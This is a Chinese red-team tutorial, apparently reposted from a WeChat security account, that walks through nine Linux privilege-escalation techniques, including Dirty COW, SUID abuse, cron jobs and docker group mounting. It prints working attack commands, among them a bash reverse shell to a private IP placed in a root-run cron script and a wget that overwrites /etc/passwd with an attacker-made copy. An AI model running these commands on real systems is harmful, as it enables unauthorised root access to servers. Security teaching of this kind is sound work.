HW之红队常见Linux的几种提权方法

admin 2025年2月13日10:20:24评论15 views字数 2616阅读8分43秒阅读模式
作者:掌控安全—杰斯

前言

Linux常见的几种提权方法

提权,提高自己在服务器中的权限,主要针对网站入侵过程中,当渗透某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限,通常提权是把普通用户的权限提升到管理员权限或者系统权限,在渗透测试过程中,拿到一个webshell之后,一般来说,我们的权限都是目标服务器中间件的权限。

这个时候就需要利用各种漏洞来提升自己的权,从而能够获得对目标服务器的控制。

1.内核溢出提权

简介

利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。

复现

第一步:查看目标系统的相关信息

  1. uname -a #查看内核/操作系统/cpu信息
  2. cat /proc/version #查看系统信息
  3. cat /etc/issue #查看操作系统版本
  4. lsb_release -a #查询系统版本等信息

第二步:使用searchsploit工具寻找对应的exp

searchsploit -t 3.19

HW之红队常见Linux的几种提权方法

searchsploit -x linux/local/37292.c

HW之红队常见Linux的几种提权方法

第三步:让目标机器远程下载exp文件

HW之红队常见Linux的几种提权方法

第四步:将exp文件进行编译

HW之红队常见Linux的几种提权方法

第五步:执行exp文件,提权成功

HW之红队常见Linux的几种提权方法

2.脏牛提权 CVE-2016-5195

简介

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。

黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。

exp下载 https://github.com/Brucetg/DirtyCow-EXP

复现

第一步:查看目标系统信息

HW之红队常见Linux的几种提权方法

第二步:使用脏牛的exp工具

HW之红队常见Linux的几种提权方法

第三步:验证,直接查看密码文件,提权成功

HW之红队常见Linux的几种提权方法

3.Linux suid提权

简介

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。

复现过程

第一步:发现系统上运行的所有SUID可执行文件

  1. find /-perm -u=s -type f 2>/dev/null
  2. find /-user root -perm -4000-print2>/dev/null
  3. find /-user root -perm -4000-exec ls -ldb {} ;

HW之红队常见Linux的几种提权方法
HW之红队常见Linux的几种提权方法

第二步:利用带s的文件执行本地sh’shell

HW之红队常见Linux的几种提权方法

ps:常见的suid提权文件:nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

4.passwd提权

简介

基础知识/etc/passwd: 文件中的详细信息格式

HW之红队常见Linux的几种提权方法

复现

第一步:通过OpenSSL命令,生成一个新的用户oooohack,密码为hack123

openssl passwd -1 -salt oooohacker hack123 -> $1$oooohacker$4o50Z4aoUGaLMC0Rg4Io40

将/etc/passwd文件内容复制出来,然后将第一步的结果进行追加到passwd文件中

HW之红队常见Linux的几种提权方法

第二步:让目标远程下载文件,并覆盖原先的passwd文件

wget http://192.168.0.134/passwd -O /etc/passwd

HW之红队常见Linux的几种提权方法

第三步:切换用户,提权成功

HW之红队常见Linux的几种提权方法

5.ssh密钥提权

简介

ssh是一种加密的网络传输协议。可在不安全的网络中为网络服务提供安全的传输环境。

SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。

SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令。

使用频率最高的场合类Unix系统,但是Windows操作系统也能有限度地使用SSH。

2015年,微软宣布将在未来的操作系统中提供原生SSH协议支持,Windows 10 1809 版本已提供可手动安装的 OpenSSH工具。总的来说是一个传输协议,默认端口22

复现

第一步:cat /etc/passwd | grep bash # 过滤出含bash的用户

HW之红队常见Linux的几种提权方法

第二步:ls /home/web1 # 查看用户目录下的文件,寻找.ssh

HW之红队常见Linux的几种提权方法

第三步:进入.ssh,对比authrizid_keys和id_rsa.pub,若一致则说明公钥相同

HW之红队常见Linux的几种提权方法

第四步:将公钥对应的私钥文件复制

HW之红队常见Linux的几种提权方法

第五步:保存,并且设置权限

HW之红队常见Linux的几种提权方法

第六步:利用ssh直接进行远程登陆,提权成功

HW之红队常见Linux的几种提权方法

6.环境劫持提权

简介

环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令

复现过程

第一步:寻找suid文件

find / -perm -u=s -type f 2>/dev/null

HW之红队常见Linux的几种提权方法

第二步:查看suid文件里面执行的是哪些命令,要能够被我们所利用,比如ps命令

HW之红队常见Linux的几种提权方法

第三步:新建一个文件,文件内容为:/bin/bash,文件名是ps,设置环境变量的改变,提权成功

HW之红队常见Linux的几种提权方法

7.john破解shadow root密文登录提权

简介

需要一定的权限,将shodow文件中的root密文复制到一个新的文件中,使用工具破解即可。

复现过程

第一步:直接使用工具

HW之红队常见Linux的几种提权方法

8.Ubuntu计划任务反弹shell提权

简介

利用计划任务,和windows里面的开机启动任务类似。

复现过程

第一步:当获取一个linux普通用户的时,查看计划任务

HW之红队常见Linux的几种提权方法

第二步:crontab -l 查看当前用户的任务

HW之红队常见Linux的几种提权方法

第三步:tail -f /var/log/syslog,查看日志文件 发现root每一分钟会执行一次 cleanup.py文件

HW之红队常见Linux的几种提权方法

第四步:更改cleanup.py文件里面的内容,做一个反弹shell。提权成功
bash -i >& /dev/tcp/192.168.0.109/6666 0>&1

HW之红队常见Linux的几种提权方法

9.docker 提权

简介

docker运行的所有命令都是需要sudo来运行,那是因为docker需要root权限才能跑。

Docker监护进程有一个特性,它能被允许访问root用户或者是在docker组里面的所有用户。

这就意味着,有docker 组的权限就如同到root的访问权,而且不需要知道密码。

复现

第一步:查看目标机器是否使用了docker

cat linux.txt | grep docker

HW之红队常见Linux的几种提权方法

第二步:查询当前用户信息和组信息,查询是否存在docker组

HW之红队常见Linux的几种提权方法

第三步:利用docker,将mnt目录挂载到宿主的根目录,提权成功
docker run -v /:/mnt -it alpine

HW之红队常见Linux的几种提权方法

 

原文始发于微信公众号(掌控安全EDU):文库 | HW之红队常见Linux的几种提权方法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月13日10:20:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HW之红队常见Linux的几种提权方法https://cn-sec.com/archives/1079917.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息